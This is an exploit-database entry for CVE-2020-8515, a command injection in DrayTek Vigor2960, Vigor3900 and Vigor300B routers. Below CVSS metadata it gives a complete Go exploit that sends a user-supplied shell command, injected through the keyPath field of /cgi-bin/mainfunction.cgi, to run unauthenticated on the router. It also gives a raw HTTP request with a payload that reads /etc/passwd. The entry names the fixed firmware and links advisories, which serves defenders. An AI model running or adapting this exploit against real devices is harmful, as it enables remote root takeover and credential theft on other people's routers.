Exploitalert - Database of Exploits

DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution

CVE	Category	Price	Severity
CVE-2020-8515	CWE-77	N/A	Critical

Author	Risk	Exploitation Type	Date
Tenable	High	Remote	2020-04-02

CPE
cpe:cpe:2.3:a:draytek:vigor2960_firmware::::::::

CVSS	EPSS	EPSSP
CVSS:8.8/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.04244	0.99998

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020040007

DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution

package main /* CVE-2020-8515: DrayTek pre-auth remote root RCE Mon Mar 30 2020 - 0xsha.io Affected: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta You should upgrade as soon as possible to 1.5.1 firmware or later This issue has been fixed in Vigor3900/2960/300B v1.5.1. read more : https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/ https://thehackernews.com/2020/03/draytek-network-hacking.html https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/ exploiting using keyPath POST /cgi-bin/mainfunction.cgi HTTP/1.1 Host: 1.2.3.4 Content-Length: 89 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a */ import ( "fmt" "io/ioutil" "net/http" "net/url" "os" "strings" ) func usage() { fmt.Println("CVE-2020-8515 exploit by @0xsha ") fmt.Println("Usage : " + os.Args[0] + " URL " + "command" ) fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" ) } func main() { if len(os.Args) < 3 { usage() os.Exit(-1) } targetUrl := os.Args[1] //cmd := "cat /etc/passwd" cmd := os.Args[2] // payload preparation vulnerableFile := "/cgi-bin/mainfunction.cgi" // specially crafted CMD // action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a payload :=`' /bin/sh -c 'CMD' '` payload = strings.ReplaceAll(payload,"CMD", cmd) bypass := strings.ReplaceAll(payload," ", "${IFS}") //PostForm call url encoder internally resp, err := http.PostForm(targetUrl+vulnerableFile , url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} }) if err != nil{ fmt.Println("error connecting host") os.Exit(-1) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil{ fmt.Println("error reading data") os.Exit(-1) } fmt.Println(string(body)) }

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